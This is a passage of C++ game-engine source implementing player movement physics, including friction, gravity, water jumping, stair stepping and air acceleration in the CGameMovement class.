return (player->CurrentCommandNumber() + player->entindex()) % tickInterval == 0;
}
else
{
return true;
}
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : ducked -
// Output : const Vector
//-----------------------------------------------------------------------------
Vector CGameMovement::GetPlayerMins( bool ducked ) const
{
return ducked ? VEC_DUCK_HULL_MIN_SCALED( player ) : VEC_HULL_MIN_SCALED( player );
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : ducked -
// Output : const Vector
//-----------------------------------------------------------------------------
Vector CGameMovement::GetPlayerMaxs( bool ducked ) const
{
return ducked ? VEC_DUCK_HULL_MAX_SCALED( player ) : VEC_HULL_MAX_SCALED( player );
}
//-----------------------------------------------------------------------------
// Purpose:
// Input :
// Output : const Vector
//-----------------------------------------------------------------------------
Vector CGameMovement::GetPlayerMins( void ) const
{
if ( player->IsObserver() )
{
return VEC_OBS_HULL_MIN_SCALED( player );
}
else
{
return player->m_Local.m_bDucked ? VEC_DUCK_HULL_MIN_SCALED( player ) : VEC_HULL_MIN_SCALED( player );
}
}
//-----------------------------------------------------------------------------
// Purpose:
// Input :
// Output : const Vector
//-----------------------------------------------------------------------------
Vector CGameMovement::GetPlayerMaxs( void ) const
{
if ( player->IsObserver() )
{
return VEC_OBS_HULL_MAX_SCALED( player );
}
else
{
return player->m_Local.m_bDucked ? VEC_DUCK_HULL_MAX_SCALED( player ) : VEC_HULL_MAX_SCALED( player );
}
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : ducked -
// Output : const Vector
//-----------------------------------------------------------------------------
Vector CGameMovement::GetPlayerViewOffset( bool ducked ) const
{
return ducked ? VEC_DUCK_VIEW_SCALED( player ) : VEC_VIEW_SCALED( player );
}
#if 0
//-----------------------------------------------------------------------------
// Traces player movement + position
//-----------------------------------------------------------------------------
inline void CGameMovement::TracePlayerBBox( const Vector& start, const Vector& end, unsigned int fMask, int collisionGroup, trace_t& pm )
{
VPROF( "CGameMovement::TracePlayerBBox" );
Ray_t ray;
ray.Init( start, end, GetPlayerMins(), GetPlayerMaxs() );
UTIL_TraceRay( ray, fMask, mv->m_nPlayerHandle.Get(), collisionGroup, &pm );
}
#endif
CBaseHandle CGameMovement::TestPlayerPosition( const Vector& pos, int collisionGroup, trace_t& pm )
{
Ray_t ray;
ray.Init( pos, pos, GetPlayerMins(), GetPlayerMaxs() );
UTIL_TraceRay( ray, PlayerSolidMask(), mv->m_nPlayerHandle.Get(), collisionGroup, &pm );
if ( (pm.contents & PlayerSolidMask()) && pm.m_pEnt )
{
return pm.m_pEnt->GetRefEHandle();
}
else
{
return INVALID_EHANDLE;
}
}
/*
// FIXME FIXME: Does this need to be hooked up?
bool CGameMovement::IsWet() const
{
return ((pev->flags & FL_INRAIN) != 0) || (m_WetTime >= gpGlobals->time);
}
//-----------------------------------------------------------------------------
// Plants player footprint decals
//-----------------------------------------------------------------------------
#define PLAYER_HALFWIDTH 12
void CGameMovement::PlantFootprint( surfacedata_t *psurface )
{
// Can't plant footprints on fake materials (ladders, wading)
if ( psurface->gameMaterial != 'X' )
{
int footprintDecal = -1;
// Figure out which footprint type to plant...
// Use the wet footprint if we're wet...
if (IsWet())
{
footprintDecal = DECAL_FOOTPRINT_WET;
}
else
{
// FIXME: Activate this once we decide to pull the trigger on it.
// NOTE: We could add in snow, mud, others here
// switch(psurface->gameMaterial)
// {
// case 'D':
// footprintDecal = DECAL_FOOTPRINT_DIRT;
// break;
// }
}
if (footprintDecal != -1)
{
Vector right;
AngleVectors( pev->angles, 0, &right, 0 );
// Figure out where the top of the stepping leg is
trace_t tr;
Vector hipOrigin;
VectorMA( pev->origin,
m_IsFootprintOnLeft ? -PLAYER_HALFWIDTH : PLAYER_HALFWIDTH,
right, hipOrigin );
// Find where that leg hits the ground
UTIL_TraceLine( hipOrigin, hipOrigin + Vector(0, 0, -COORD_EXTENT * 1.74),
MASK_SOLID_BRUSHONLY, edict(), COLLISION_GROUP_NONE, &tr);
unsigned char mType = TEXTURETYPE_Find( &tr );
// Splat a decal
CPVSFilter filter( tr.endpos );
te->FootprintDecal( filter, 0.0f, &tr.endpos, &right, ENTINDEX(tr.u.ent),
gDecals[footprintDecal].index, mType );
}
}
// Switch feet for next time
m_IsFootprintOnLeft = !m_IsFootprintOnLeft;
}
#define WET_TIME 5.f // how many seconds till we're completely wet/dry
#define DRY_TIME 20.f // how many seconds till we're completely wet/dry
void CBasePlayer::UpdateWetness()
{
// BRJ 1/7/01
// Check for whether we're in a rainy area....
// Do this by tracing a line straight down with a size guaranteed to
// be larger than the map
// Update wetness based on whether we're in rain or not...
trace_t tr;
UTIL_TraceLine( pev->origin, pev->origin + Vector(0, 0, -COORD_EXTENT * 1.74),
MASK_SOLID_BRUSHONLY, edict(), COLLISION_GROUP_NONE, &tr);
if (tr.surface.flags & SURF_WET)
{
if (! (pev->flags & FL_INRAIN) )
{
// Transition...
// Figure out how wet we are now (we were drying off...)
float wetness = (m_WetTime - gpGlobals->time) / DRY_TIME;
if (wetness < 0.0f)
wetness = 0.0f;
// Here, wet time represents the time at which we get totally wet
m_WetTime = gpGlobals->time + (1.0 - wetness) * WET_TIME;
pev->flags |= FL_INRAIN;
}
}
else
{
if ((pev->flags & FL_INRAIN) != 0)
{
// Transition...
// Figure out how wet we are now (we were getting more wet...)
float wetness = 1.0f + (gpGlobals->time - m_WetTime) / WET_TIME;
if (wetness > 1.0f)
wetness = 1.0f;
// Here, wet time represents the time at which we get totally dry
m_WetTime = gpGlobals->time + wetness * DRY_TIME;
pev->flags &= ~FL_INRAIN;
}
}
}
*/
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::CategorizeGroundSurface( trace_t &pm )
{
player->m_surfaceProps = pm.surface.surfaceProps;
player->m_pSurfaceData = MoveHelper()->GetSurfaceProps()->GetSurfaceData( player->m_surfaceProps );
MoveHelper()->GetSurfaceProps()->GetPhysicsProperties( player->m_surfaceProps, NULL, NULL, &player->m_surfaceFriction, NULL );
// HACKHACK: Scale this to fudge the relationship between vphysics friction values and player friction values.
// A value of 0.8f feels pretty normal for vphysics, whereas 1.0f is normal for players.
// This scaling trivially makes them equivalent. REVISIT if this affects low friction surfaces too much.
player->m_surfaceFriction *= 1.25f;
if ( player->m_surfaceFriction > 1.0f )
player->m_surfaceFriction = 1.0f;
player->m_chTextureType = player->m_pSurfaceData->game.material;
}
bool CGameMovement::IsDead( void ) const
{
return ( player->m_iHealth <= 0 && !player->IsAlive() );
}
//-----------------------------------------------------------------------------
// Figures out how the constraint should slow us down
//-----------------------------------------------------------------------------
float CGameMovement::ComputeConstraintSpeedFactor( void )
{
// If we have a constraint, slow down because of that too.
if ( !mv || mv->m_flConstraintRadius == 0.0f )
return 1.0f;
float flDistSq = mv->GetAbsOrigin().DistToSqr( mv->m_vecConstraintCenter );
float flOuterRadiusSq = mv->m_flConstraintRadius * mv->m_flConstraintRadius;
float flInnerRadiusSq = mv->m_flConstraintRadius - mv->m_flConstraintWidth;
flInnerRadiusSq *= flInnerRadiusSq;
// Only slow us down if we're inside the constraint ring
if ((flDistSq <= flInnerRadiusSq) || (flDistSq >= flOuterRadiusSq))
return 1.0f;
// Only slow us down if we're running away from the center
Vector vecDesired;
VectorMultiply( m_vecForward, mv->m_flForwardMove, vecDesired );
VectorMA( vecDesired, mv->m_flSideMove, m_vecRight, vecDesired );
VectorMA( vecDesired, mv->m_flUpMove, m_vecUp, vecDesired );
Vector vecDelta;
VectorSubtract( mv->GetAbsOrigin(), mv->m_vecConstraintCenter, vecDelta );
VectorNormalize( vecDelta );
VectorNormalize( vecDesired );
if (DotProduct( vecDelta, vecDesired ) < 0.0f)
return 1.0f;
float flFrac = (sqrt(flDistSq) - (mv->m_flConstraintRadius - mv->m_flConstraintWidth)) / mv->m_flConstraintWidth;
float flSpeedFactor = Lerp( flFrac, 1.0f, mv->m_flConstraintSpeedFactor );
return flSpeedFactor;
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::CheckParameters( void )
{
QAngle v_angle;
if ( player->GetMoveType() != MOVETYPE_ISOMETRIC &&
player->GetMoveType() != MOVETYPE_NOCLIP &&
player->GetMoveType() != MOVETYPE_OBSERVER )
{
float spd;
float maxspeed;
spd = ( mv->m_flForwardMove * mv->m_flForwardMove ) +
( mv->m_flSideMove * mv->m_flSideMove ) +
( mv->m_flUpMove * mv->m_flUpMove );
maxspeed = mv->m_flClientMaxSpeed;
if ( maxspeed != 0.0 )
{
mv->m_flMaxSpeed = MIN( maxspeed, mv->m_flMaxSpeed );
}
// Slow down by the speed factor
float flSpeedFactor = 1.0f;
if (player->m_pSurfaceData)
{
flSpeedFactor = player->m_pSurfaceData->game.maxSpeedFactor;
}
// If we have a constraint, slow down because of that too.
float flConstraintSpeedFactor = ComputeConstraintSpeedFactor();
if (flConstraintSpeedFactor < flSpeedFactor)
flSpeedFactor = flConstraintSpeedFactor;
mv->m_flMaxSpeed *= flSpeedFactor;
if ( g_bMovementOptimizations )
{
// Same thing but only do the sqrt if we have to.
if ( ( spd != 0.0 ) && ( spd > mv->m_flMaxSpeed*mv->m_flMaxSpeed ) )
{
float fRatio = mv->m_flMaxSpeed / sqrt( spd );
mv->m_flForwardMove *= fRatio;
mv->m_flSideMove *= fRatio;
mv->m_flUpMove *= fRatio;
}
}
else
{
spd = sqrt( spd );
if ( ( spd != 0.0 ) && ( spd > mv->m_flMaxSpeed ) )
{
float fRatio = mv->m_flMaxSpeed / spd;
mv->m_flForwardMove *= fRatio;
mv->m_flSideMove *= fRatio;
mv->m_flUpMove *= fRatio;
}
}
}
if ( player->GetFlags() & FL_FROZEN ||
player->GetFlags() & FL_ONTRAIN ||
IsDead() )
{
mv->m_flForwardMove = 0;
mv->m_flSideMove = 0;
mv->m_flUpMove = 0;
}
DecayPunchAngle();
// Take angles from command.
if ( !IsDead() )
{
v_angle = mv->m_vecAngles;
v_angle = v_angle + player->m_Local.m_vecPunchAngle;
// Now adjust roll angle
if ( player->GetMoveType() != MOVETYPE_ISOMETRIC &&
player->GetMoveType() != MOVETYPE_NOCLIP )
{
mv->m_vecAngles[ROLL] = CalcRoll( v_angle, mv->m_vecVelocity, sv_rollangle.GetFloat(), sv_rollspeed.GetFloat() );
}
else
{
mv->m_vecAngles[ROLL] = 0.0; // v_angle[ ROLL ];
}
mv->m_vecAngles[PITCH] = v_angle[PITCH];
mv->m_vecAngles[YAW] = v_angle[YAW];
}
else
{
mv->m_vecAngles = mv->m_vecOldAngles;
}
// Set dead player view_offset
if ( IsDead() )
{
player->SetViewOffset( VEC_DEAD_VIEWHEIGHT_SCALED( player ) );
}
// Adjust client view angles to match values used on server.
if ( mv->m_vecAngles[YAW] > 180.0f )
{
mv->m_vecAngles[YAW] -= 360.0f;
}
}
void CGameMovement::ReduceTimers( void )
{
float frame_msec = 1000.0f * gpGlobals->frametime;
if ( player->m_Local.m_flDucktime > 0 )
{
player->m_Local.m_flDucktime -= frame_msec;
if ( player->m_Local.m_flDucktime < 0 )
{
player->m_Local.m_flDucktime = 0;
}
}
if ( player->m_Local.m_flDuckJumpTime > 0 )
{
player->m_Local.m_flDuckJumpTime -= frame_msec;
if ( player->m_Local.m_flDuckJumpTime < 0 )
{
player->m_Local.m_flDuckJumpTime = 0;
}
}
if ( player->m_Local.m_flJumpTime > 0 )
{
player->m_Local.m_flJumpTime -= frame_msec;
if ( player->m_Local.m_flJumpTime < 0 )
{
player->m_Local.m_flJumpTime = 0;
}
}
if ( player->m_flSwimSoundTime > 0 )
{
player->m_flSwimSoundTime -= frame_msec;
if ( player->m_flSwimSoundTime < 0 )
{
player->m_flSwimSoundTime = 0;
}
}
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : *pMove -
//-----------------------------------------------------------------------------
void CGameMovement::ProcessMovement( CBasePlayer *pPlayer, CMoveData *pMove )
{
Assert( pMove && pPlayer );
float flStoreFrametime = gpGlobals->frametime;
//!!HACK HACK: Adrian - slow down all player movement by this factor.
//!!Blame Yahn for this one.
gpGlobals->frametime *= pPlayer->GetLaggedMovementValue();
ResetGetPointContentsCache();
// Cropping movement speed scales mv->m_fForwardSpeed etc. globally
// Once we crop, we don't want to recursively crop again, so we set the crop
// flag globally here once per usercmd cycle.
m_iSpeedCropped = SPEED_CROPPED_RESET;
// StartTrackPredictionErrors should have set this
Assert( player == pPlayer );
player = pPlayer;
mv = pMove;
mv->m_flMaxSpeed = pPlayer->GetPlayerMaxSpeed();
// CheckV( player->CurrentCommandNumber(), "StartPos", mv->GetAbsOrigin() );
DiffPrint( "start %f %f %f", mv->GetAbsOrigin().x, mv->GetAbsOrigin().y, mv->GetAbsOrigin().z );
// Run the command.
PlayerMove();
FinishMove();
DiffPrint( "end %f %f %f", mv->GetAbsOrigin().x, mv->GetAbsOrigin().y, mv->GetAbsOrigin().z );
// CheckV( player->CurrentCommandNumber(), "EndPos", mv->GetAbsOrigin() );
//This is probably not needed, but just in case.
gpGlobals->frametime = flStoreFrametime;
// player = NULL;
}
void CGameMovement::StartTrackPredictionErrors( CBasePlayer *pPlayer )
{
player = pPlayer;
#if PREDICTION_ERROR_CHECK_LEVEL > 0
StartCommand( CBaseEntity::IsServer(), player->CurrentCommandNumber() );
#endif
}
void CGameMovement::FinishTrackPredictionErrors( CBasePlayer *pPlayer )
{
#if PREDICTION_ERROR_CHECK_LEVEL > 0
Assert( player == pPlayer );
// DiffPrint( "end %f", player->m_Local.m_vecPunchAngleVel.m_Value.x );
// Call validate at end of checking
Validate( CBaseEntity::IsServer(), player->CurrentCommandNumber() );
#endif
}
//-----------------------------------------------------------------------------
// Purpose: Sets ground entity
//-----------------------------------------------------------------------------
void CGameMovement::FinishMove( void )
{
mv->m_nOldButtons = mv->m_nButtons;
mv->m_flOldForwardMove = mv->m_flForwardMove;
}
#define PUNCH_DAMPING 9.0f // bigger number makes the response more damped, smaller is less damped
// currently the system will overshoot, with larger damping values it won't
#define PUNCH_SPRING_CONSTANT 65.0f // bigger number increases the speed at which the view corrects
//-----------------------------------------------------------------------------
// Purpose: Decays the punchangle toward 0,0,0.
// Modelled as a damped spring
//-----------------------------------------------------------------------------
void CGameMovement::DecayPunchAngle( void )
{
if ( player->m_Local.m_vecPunchAngle->LengthSqr() > 0.001 || player->m_Local.m_vecPunchAngleVel->LengthSqr() > 0.001 )
{
player->m_Local.m_vecPunchAngle += player->m_Local.m_vecPunchAngleVel * gpGlobals->frametime;
float damping = 1 - (PUNCH_DAMPING * gpGlobals->frametime);
if ( damping < 0 )
{
damping = 0;
}
player->m_Local.m_vecPunchAngleVel *= damping;
// torsional spring
// UNDONE: Per-axis spring constant?
float springForceMagnitude = PUNCH_SPRING_CONSTANT * gpGlobals->frametime;
springForceMagnitude = clamp(springForceMagnitude, 0.f, 2.f );
player->m_Local.m_vecPunchAngleVel -= player->m_Local.m_vecPunchAngle * springForceMagnitude;
// don't wrap around
player->m_Local.m_vecPunchAngle.Init(
clamp(player->m_Local.m_vecPunchAngle->x, -89.f, 89.f ),
clamp(player->m_Local.m_vecPunchAngle->y, -179.f, 179.f ),
clamp(player->m_Local.m_vecPunchAngle->z, -89.f, 89.f ) );
}
else
{
player->m_Local.m_vecPunchAngle.Init( 0, 0, 0 );
player->m_Local.m_vecPunchAngleVel.Init( 0, 0, 0 );
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::StartGravity( void )
{
float ent_gravity;
if (player->GetGravity())
ent_gravity = player->GetGravity();
else
ent_gravity = 1.0;
// Add gravity so they'll be in the correct position during movement
// yes, this 0.5 looks wrong, but it's not.
mv->m_vecVelocity[2] -= (ent_gravity * GetCurrentGravity() * 0.5 * gpGlobals->frametime );
mv->m_vecVelocity[2] += player->GetBaseVelocity()[2] * gpGlobals->frametime;
Vector temp = player->GetBaseVelocity();
temp[ 2 ] = 0;
player->SetBaseVelocity( temp );
CheckVelocity();
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::CheckWaterJump( void )
{
Vector flatforward;
Vector forward;
Vector flatvelocity;
float curspeed;
AngleVectors( mv->m_vecViewAngles, &forward ); // Determine movement angles
// Already water jumping.
if (player->m_flWaterJumpTime)
return;
// Don't hop out if we just jumped in
if (mv->m_vecVelocity[2] < -180)
return; // only hop out if we are moving up
// See if we are backing up
flatvelocity[0] = mv->m_vecVelocity[0];
flatvelocity[1] = mv->m_vecVelocity[1];
flatvelocity[2] = 0;
// Must be moving
curspeed = VectorNormalize( flatvelocity );
// see if near an edge
flatforward[0] = forward[0];
flatforward[1] = forward[1];
flatforward[2] = 0;
VectorNormalize (flatforward);
// Are we backing into water from steps or something? If so, don't pop forward
if ( curspeed != 0.0 && ( DotProduct( flatvelocity, flatforward ) < 0.0 ) )
return;
Vector vecStart;
// Start line trace at waist height (using the center of the player for this here)
vecStart = mv->GetAbsOrigin() + (GetPlayerMins() + GetPlayerMaxs() ) * 0.5;
Vector vecEnd;
VectorMA( vecStart, 24.0f, flatforward, vecEnd );
trace_t tr;
TracePlayerBBox( vecStart, vecEnd, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, tr );
if ( tr.fraction < 1.0 ) // solid at waist
{
IPhysicsObject *pPhysObj = tr.m_pEnt->VPhysicsGetObject();
if ( pPhysObj )
{
if ( pPhysObj->GetGameFlags() & FVPHYSICS_PLAYER_HELD )
return;
}
vecStart.z = mv->GetAbsOrigin().z + player->GetViewOffset().z + WATERJUMP_HEIGHT;
VectorMA( vecStart, 24.0f, flatforward, vecEnd );
VectorMA( vec3_origin, -50.0f, tr.plane.normal, player->m_vecWaterJumpVel );
TracePlayerBBox( vecStart, vecEnd, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, tr );
if ( tr.fraction == 1.0 ) // open at eye level
{
// Now trace down to see if we would actually land on a standable surface.
VectorCopy( vecEnd, vecStart );
vecEnd.z -= 1024.0f;
TracePlayerBBox( vecStart, vecEnd, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, tr );
if ( ( tr.fraction < 1.0f ) && ( tr.plane.normal.z >= 0.7 ) )
{
mv->m_vecVelocity[2] = 256.0f; // Push up
mv->m_nOldButtons |= IN_JUMP; // Don't jump again until released
player->AddFlag( FL_WATERJUMP );
player->m_flWaterJumpTime = 2000.0f; // Do this for 2 seconds
}
}
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::WaterJump( void )
{
if (player->m_flWaterJumpTime > 10000)
player->m_flWaterJumpTime = 10000;
if (!player->m_flWaterJumpTime)
return;
player->m_flWaterJumpTime -= 1000.0f * gpGlobals->frametime;
if (player->m_flWaterJumpTime <= 0 || !player->GetWaterLevel())
{
player->m_flWaterJumpTime = 0;
player->RemoveFlag( FL_WATERJUMP );
}
mv->m_vecVelocity[0] = player->m_vecWaterJumpVel[0];
mv->m_vecVelocity[1] = player->m_vecWaterJumpVel[1];
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::WaterMove( void )
{
int i;
Vector wishvel;
float wishspeed;
Vector wishdir;
Vector start, dest;
Vector temp;
trace_t pm;
float speed, newspeed, addspeed, accelspeed;
Vector forward, right, up;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
//
// user intentions
//
for (i=0 ; i<3 ; i++)
{
wishvel[i] = forward[i]*mv->m_flForwardMove + right[i]*mv->m_flSideMove;
}
// if we have the jump key down, move us up as well
if (mv->m_nButtons & IN_JUMP)
{
wishvel[2] += mv->m_flClientMaxSpeed;
}
// Sinking after no other movement occurs
else if (!mv->m_flForwardMove && !mv->m_flSideMove && !mv->m_flUpMove)
{
wishvel[2] -= 60; // drift towards bottom
}
else // Go straight up by upmove amount.
{
// exaggerate upward movement along forward as well
float upwardMovememnt = mv->m_flForwardMove * forward.z * 2;
upwardMovememnt = clamp( upwardMovememnt, 0.f, mv->m_flClientMaxSpeed );
wishvel[2] += mv->m_flUpMove + upwardMovememnt;
}
// Copy it over and determine speed
VectorCopy (wishvel, wishdir);
wishspeed = VectorNormalize(wishdir);
// Cap speed.
if (wishspeed > mv->m_flMaxSpeed)
{
VectorScale (wishvel, mv->m_flMaxSpeed/wishspeed, wishvel);
wishspeed = mv->m_flMaxSpeed;
}
// Slow us down a bit.
wishspeed *= 0.8;
// Water friction
VectorCopy(mv->m_vecVelocity, temp);
speed = VectorNormalize(temp);
if (speed)
{
newspeed = speed - gpGlobals->frametime * speed * sv_friction.GetFloat() * player->m_surfaceFriction;
if (newspeed < 0.1f)
{
newspeed = 0;
}
VectorScale (mv->m_vecVelocity, newspeed/speed, mv->m_vecVelocity);
}
else
{
newspeed = 0;
}
// water acceleration
if (wishspeed >= 0.1f) // old !
{
addspeed = wishspeed - newspeed;
if (addspeed > 0)
{
VectorNormalize(wishvel);
accelspeed = sv_accelerate.GetFloat() * wishspeed * gpGlobals->frametime * player->m_surfaceFriction;
if (accelspeed > addspeed)
{
accelspeed = addspeed;
}
for (i = 0; i < 3; i++)
{
float deltaSpeed = accelspeed * wishvel[i];
mv->m_vecVelocity[i] += deltaSpeed;
mv->m_outWishVel[i] += deltaSpeed;
}
}
}
VectorAdd (mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity);
// Now move
// assume it is a stair or a slope, so press down from stepheight above
VectorMA (mv->GetAbsOrigin(), gpGlobals->frametime, mv->m_vecVelocity, dest);
TracePlayerBBox( mv->GetAbsOrigin(), dest, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
if ( pm.fraction == 1.0f )
{
VectorCopy( dest, start );
if ( player->m_Local.m_bAllowAutoMovement )
{
start[2] += player->m_Local.m_flStepSize + 1;
}
TracePlayerBBox( start, dest, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
if (!pm.startsolid && !pm.allsolid)
{
float stepDist = pm.endpos.z - mv->GetAbsOrigin().z;
mv->m_outStepHeight += stepDist;
// walked up the step, so just keep result and exit
mv->SetAbsOrigin( pm.endpos );
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
return;
}
// Try moving straight along out normal path.
TryPlayerMove();
}
else
{
if ( !player->GetGroundEntity() )
{
TryPlayerMove();
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
return;
}
StepMove( dest, pm );
}
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
}
//-----------------------------------------------------------------------------
// Purpose: Does the basic move attempting to climb up step heights. It uses
// the mv->GetAbsOrigin() and mv->m_vecVelocity. It returns a new
// new mv->GetAbsOrigin(), mv->m_vecVelocity, and mv->m_outStepHeight.
//-----------------------------------------------------------------------------
void CGameMovement::StepMove( Vector &vecDestination, trace_t &trace )
{
Vector vecEndPos;
VectorCopy( vecDestination, vecEndPos );
// Try sliding forward both on ground and up 16 pixels
// take the move that goes farthest
Vector vecPos, vecVel;
VectorCopy( mv->GetAbsOrigin(), vecPos );
VectorCopy( mv->m_vecVelocity, vecVel );
// Slide move down.
TryPlayerMove( &vecEndPos, &trace );
// Down results.
Vector vecDownPos, vecDownVel;
VectorCopy( mv->GetAbsOrigin(), vecDownPos );
VectorCopy( mv->m_vecVelocity, vecDownVel );
// Reset original values.
mv->SetAbsOrigin( vecPos );
VectorCopy( vecVel, mv->m_vecVelocity );
// Move up a stair height.
VectorCopy( mv->GetAbsOrigin(), vecEndPos );
if ( player->m_Local.m_bAllowAutoMovement )
{
vecEndPos.z += player->m_Local.m_flStepSize + DIST_EPSILON;
}
TracePlayerBBox( mv->GetAbsOrigin(), vecEndPos, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, trace );
if ( !trace.startsolid && !trace.allsolid )
{
mv->SetAbsOrigin( trace.endpos );
}
// Slide move up.
TryPlayerMove();
// Move down a stair (attempt to).
VectorCopy( mv->GetAbsOrigin(), vecEndPos );
if ( player->m_Local.m_bAllowAutoMovement )
{
vecEndPos.z -= player->m_Local.m_flStepSize + DIST_EPSILON;
}
TracePlayerBBox( mv->GetAbsOrigin(), vecEndPos, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, trace );
// If we are not on the ground any more then use the original movement attempt.
if ( trace.plane.normal[2] < 0.7 )
{
mv->SetAbsOrigin( vecDownPos );
VectorCopy( vecDownVel, mv->m_vecVelocity );
float flStepDist = mv->GetAbsOrigin().z - vecPos.z;
if ( flStepDist > 0.0f )
{
mv->m_outStepHeight += flStepDist;
}
return;
}
// If the trace ended up in empty space, copy the end over to the origin.
if ( !trace.startsolid && !trace.allsolid )
{
mv->SetAbsOrigin( trace.endpos );
}
// Copy this origin to up.
Vector vecUpPos;
VectorCopy( mv->GetAbsOrigin(), vecUpPos );
// decide which one went farther
float flDownDist = ( vecDownPos.x - vecPos.x ) * ( vecDownPos.x - vecPos.x ) + ( vecDownPos.y - vecPos.y ) * ( vecDownPos.y - vecPos.y );
float flUpDist = ( vecUpPos.x - vecPos.x ) * ( vecUpPos.x - vecPos.x ) + ( vecUpPos.y - vecPos.y ) * ( vecUpPos.y - vecPos.y );
if ( flDownDist > flUpDist )
{
mv->SetAbsOrigin( vecDownPos );
VectorCopy( vecDownVel, mv->m_vecVelocity );
}
else
{
// copy z value from slide move
mv->m_vecVelocity.z = vecDownVel.z;
}
float flStepDist = mv->GetAbsOrigin().z - vecPos.z;
if ( flStepDist > 0 )
{
mv->m_outStepHeight += flStepDist;
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::Friction( void )
{
float speed, newspeed, control;
float friction;
float drop;
// If we are in water jump cycle, don't apply friction
if (player->m_flWaterJumpTime)
return;
// Calculate speed
speed = VectorLength( mv->m_vecVelocity );
// If too slow, return
if (speed < 0.1f)
{
return;
}
drop = 0;
// apply ground friction
if (player->GetGroundEntity() != NULL) // On an entity that is the ground
{
friction = sv_friction.GetFloat() * player->m_surfaceFriction;
// Bleed off some speed, but if we have less than the bleed
// threshold, bleed the threshold amount.
if ( IsX360() )
{
if( player->m_Local.m_bDucked )
{
control = (speed < sv_stopspeed.GetFloat()) ? sv_stopspeed.GetFloat() : speed;
}
else
{
#if defined ( TF_DLL ) || defined ( TF_CLIENT_DLL )
control = (speed < sv_stopspeed.GetFloat()) ? sv_stopspeed.GetFloat() : speed;
#else
control = (speed < sv_stopspeed.GetFloat()) ? (sv_stopspeed.GetFloat() * 2.0f) : speed;
#endif
}
}
else
{
control = (speed < sv_stopspeed.GetFloat()) ? sv_stopspeed.GetFloat() : speed;
}
// Add the amount to the drop amount.
drop += control*friction*gpGlobals->frametime;
}
// scale the velocity
newspeed = speed - drop;
if (newspeed < 0)
newspeed = 0;
if ( newspeed != speed )
{
// Determine proportion of old speed we are using.
newspeed /= speed;
// Adjust velocity according to proportion.
VectorScale( mv->m_vecVelocity, newspeed, mv->m_vecVelocity );
}
mv->m_outWishVel -= (1.f-newspeed) * mv->m_vecVelocity;
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FinishGravity( void )
{
float ent_gravity;
if ( player->m_flWaterJumpTime )
return;
if ( player->GetGravity() )
ent_gravity = player->GetGravity();
else
ent_gravity = 1.0;
// Get the correct velocity for the end of the dt
mv->m_vecVelocity[2] -= (ent_gravity * GetCurrentGravity() * gpGlobals->frametime * 0.5);
CheckVelocity();
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : wishdir -
// accel -
//-----------------------------------------------------------------------------
void CGameMovement::AirAccelerate( Vector& wishdir, float wishspeed, float accel )
{
int i;
float addspeed, accelspeed, currentspeed;
float wishspd;
wishspd = wishspeed;
if (player->pl.deadflag)
return;
if (player->m_flWaterJumpTime)
return;
// Cap speed
if ( wishspd > GetAirSpeedCap() )
wishspd = GetAirSpeedCap();
// Determine veer amount
currentspeed = mv->m_vecVelocity.Dot(wishdir);
// See how much to add
addspeed = wishspd - currentspeed;
// If not adding any, done.
if (addspeed <= 0)
return;
// Determine acceleration speed after acceleration
accelspeed = accel * wishspeed * gpGlobals->frametime * player->m_surfaceFriction;
// Cap it
if (accelspeed > addspeed)
accelspeed = addspeed;
// Adjust pmove vel.
for (i=0 ; i<3 ; i++)
{
mv->m_vecVelocity[i] += accelspeed * wishdir[i];
mv->m_outWishVel[i] += accelspeed * wishdir[i];
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::AirMove( void )
{
int i;
Vector wishvel;
float fmove, smove;
Vector wishdir;
float wishspeed;
Vector forward, right, up;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
// Copy movement amounts
fmove = mv->m_flForwardMove;
smove = mv->m_flSideMove;
// Zero out z components of movement vectors
forward[2] = 0;
right[2] = 0;
VectorNormalize(forward); // Normalize remainder of vectors
VectorNormalize(right); //
for (i=0 ; i<2 ; i++) // Determine x and y parts of velocity
wishvel[i] = forward[i]*fmove + right[i]*smove;
wishvel[2] = 0; // Zero out z part of velocity
VectorCopy (wishvel, wishdir); // Determine maginitude of speed of move
wishspeed = VectorNormalize(wishdir);
//
// clamp to server defined max speed
//
if ( wishspeed != 0 && (wishspeed > mv->m_flMaxSpeed))
{
VectorScale (wishvel, mv->m_flMaxSpeed/wishspeed, wishvel);
wishspeed = mv->m_flMaxSpeed;
}
AirAccelerate( wishdir, wishspeed, sv_airaccelerate.GetFloat() );
// Add in any base velocity to the current velocity.
VectorAdd(mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
TryPlayerMove();
